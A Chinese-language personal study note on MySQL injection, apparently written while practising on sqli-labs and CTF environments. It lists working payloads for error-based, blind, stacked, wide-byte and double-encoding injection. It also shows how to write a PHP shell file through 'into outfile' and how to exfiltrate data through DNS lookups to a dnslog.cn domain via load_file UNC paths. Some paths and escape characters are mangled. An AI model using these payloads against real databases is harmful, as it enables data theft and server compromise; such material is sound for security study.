一个很久之前学习mysql注入的笔记
(1)增删改查语句
- Insert : insert into mrkaixin values( ‘ 1’ , ‘ nepnep’);
- Delete : delete from mrkaixin where xXXX;
- Update : update mrkaixin set name = ‘x’ where id = 3;
- Select : select * from mrkaixin: (2)Mysql的常用的变量(函数)
- Database() /查看当前数据库名 2.User() 1/用户 3.Version() / mysql 版本 4.@@basedir /安装路径 (3)Mysql的常用的符号逻辑运算符: 1.& and 2.ll or 3.xor Mysql的常用的函数 字符串截取函数 ·Substr(截取的原字符串:database(),截取的开始位置:1,截取长度:1) Substring ·Mid(database(),1,1) ·Left(database(),1) ·right(database(),1) 编码函数 Ascii() Hex()z ord() Char()/ascii()的逆函数 文件函数 Load_file()/读取文件内容
- 连接数据库:D:phpStudy_64phpstudy_proExtensionsMySQL5.7.26bin>mysql -h127.0.0.1 -p8090 -u root -p123456
- 查询mysql版本
- 查询当前用户名
- 查询所有库名
- 使用数据库
- 查询当前库名
- 查询数据库所有表名
- 查询表中所有内容
- 查询表中指定内容
- 创建库
- 创建表(同时要声明表的内容字段)
- 在表中新增(插入数据内容)
- 修改表里的数据内容
- 查询表里的数据结构和字段的类型
describe(select * from animal);
- 删除数据
- 常见注释符: #(#),– ,;
- 报错注入 Tips:报错有长度限制32位(通过substring等截取字符段分开多次注入即可得到全部内容) updatexml更新xml文档 正规的使用:Select from users where id =1 and updatexml(文档,正确的路径 ,更新的内容) 示例:Select from users where id =1 and updatexml(0x0a,(select database()),’1’) 原理:将报错的内容改为要输出的内容 注:0x0a表示换行,0x7e表示~
Extractvalue:对xml文档进行查询 语法:extractvalue(文档类型,xpath路径)
- 时间盲注 法一:sleep()——————————————————————————— 示例:Select * from users and if(ascaii(substr(database())<1,1,1),sleep(3),0) Tips:if(expr1,expr2,expr3)语句作用为如果expre1为真则返回expr2,为假返回expr3 原理:将要测试的内容条件作为expr1,如果为真就会有延时,为假就不延时,是否延时可以在burp的repeater右下角看到返回时间判断 例如示例作用为判断库名第一个字母ascaii值,可以通过返回结果逐个判断得到完整的库名 法二:-benchmark()————————————————————————– 示例:Select benchmark(1000000000,sha(1)); 原理:通过执行大量次数的操作造成延时,示例效果为执行1000000000次sha(1)命令造成延时,可以作为返回的判断效果 法三:笛卡尔积———————————————————————————
- 布尔盲注
- 示例:Select * from users and (ascaii(substr(database())<1,1,1)) 作用:根据返回结果的差异判断条件是否满足,作用效果和上面的时间盲注示例一样
- 堆叠注入 示例1(在mysql里面):select from users and select from animal; 结果:只返回一个结果 示例2(在mysql里面):select from users;select from animal; 结果:返回两个结果 可以使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第一关
不能使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第三十八关
区别:mysqli_query和mysqli_mutil_query
- 文件读写 Tips:默认情况下mysql是不允许文件读写的,要修改配置文件
- 打开phpstudy的设置板块,选择配置文件,点击进入 在配置文件[mysqld]里面加入:secure-file-priv=Null(或去掉NULL直接留空)
- 重启mysql导入配置 读取文件操作(mysql里面):load_file(‘文件路径’) 示例:load_file(“D:temp1.txt”)
写文件操作(mysqlsql里面): Into outfile ‘绝对路径’ Into dumpfile ‘绝对路径’ 区别:into outfile函数会在末端写入新行而且会转义字符,所以用into outfile写一些dll或其他二进制文件,那么这个文件可能会被破坏 可以用into dumpfile导出一个完整能执行的二进制文件 使用条件:1.设置好了配置文件secure-file-priv=Null
- 使用绝对路径
- 文件不存在
- 有权限 示例:…../?id=1’ union select 1,database(),3 into outfile(或者dumpfile) “D:1.txt”# 效果:得到的内容会写入输出到新建的D:1.txt文件里面 写shell 如果知道web服务器路径,我们可以写入shell 示例:/?id=-1′ union select 1,’<?php phpinfo(); ?>’,3 into OUTFILE "H.1phpstudy.prolWWWcmsSali.Edited..VersionsqlilabsLess-7lshell.php"– 效果:将php信息全部写入到指定的文件里 23.DNSLOG UNC路径—————————————————————————————- 格式:servernamesharename Servename为服务器名,sharename为共享资源名称 UNC路径使用方法测试———————————————————————— 在Win R窗口输入一个UNC路径(一个文件名):要传输的内容.DNSLOG获得的域名abc 或者:在CMD窗口输入:ping 要传输的内容.DNSLOG获得的域名abc’ 然后在DNSLOG平台刷新获取记录就可以看到:传输的内容.DNSLOG获得的域名 原理:根据此原理,用load_file ’构造好的文件名’尝试打开一个指定构造的UNC文件即可在DNSLOG平台看到传输的内容
第一步:打开DNSLOG平台获得一个域名 第二步:用load_file ’文件路径’读取一个文件名为:要传输的内容.DNSLOG获得的域名abc的文件 操作示例:select * from users load_file ‘test.DNSLOG获得的域名abc’
示例:http:/localhost/Less-38/?id=-1; select 1,2,LOAD_FILE(GROUP_CONCAT(‘\’,substr(user(),2,1),’7jto34.dnslog.cnabc’);- 解释:GROUP_CONCAT(‘\’,substr(user(),2,1),’.7jto34.dnslog.cnabc’))的作用是合成一个字符串’o.7jto34.dnslog.cnabc’ 原因:’\’表示两个解除转义的’’,其中user()为root,substr(要截取的字符 串:root,开始位置:2,截取长度:1)函数运行后截取root的第2个字符’o’,’ 7jto34.dnslog.cn’为DNSLOG平台获得的域名
- 宽字节注入 条件:sql注入解析使用的是gbk编码,utf-8不行 代码分析: addslashes函数将会在一些危险字符(包括’和#)面前加入一个反斜杠 传入sql注入语句为gbk参数可用宽字节注入 难点: 要闭合单引号,但是传入的单引号会被加一个从而变成一个字符失去闭合效果 Payload:?id=�' payload分析:'为单引号所以addslashes函数会在'前面加一个得�' 的url编码为编码后得到�' �解码后会得到一个繁体字的运 ,从而'单引号逃逸出来,变成运’
- 二次编码注入 前提知识:
- mysql_real_escape_string(string, connection)函数会在[x00],[n],[r],[],[’],[”],[x1a]这七个字符出现的前面加一个反斜杠 绕过Tips注:想要绕过这个函数,在linux下的mysql表明列名是忽略大小写的但是账号密码区分大小写,当为登录类型的注入是,password和username都是列名,可以忽略大小写,利用这点绕过mysql_real_escape_string函数;或者当存在二次编码时可利用像例题一样的方式绕过 2.urldecode()函数会将参数进行url解码
Payload中%27不在escape函数排查的字符里面,而%解码后得到的就是%所以%27变成',是一个单引号’
- SQL注入总结的平台
- 无列名注入(知道库名表名即可) 错误:mysql> select 1,(select group_concat(1) from(select 1,2,3 union select from test.animal)x); 正确:mysql> select 1,(select group_concat(a) from(select 1 as a,2 as b,3 union select from test.animal)x); 正确:mysql> select 1,(select group_concat(‘1’) from(select 1,2,3 union select * from test.animal)x);
贴一张来自https://blog.csdn.net/Fly_hps/article/details/80646151 的注入导图: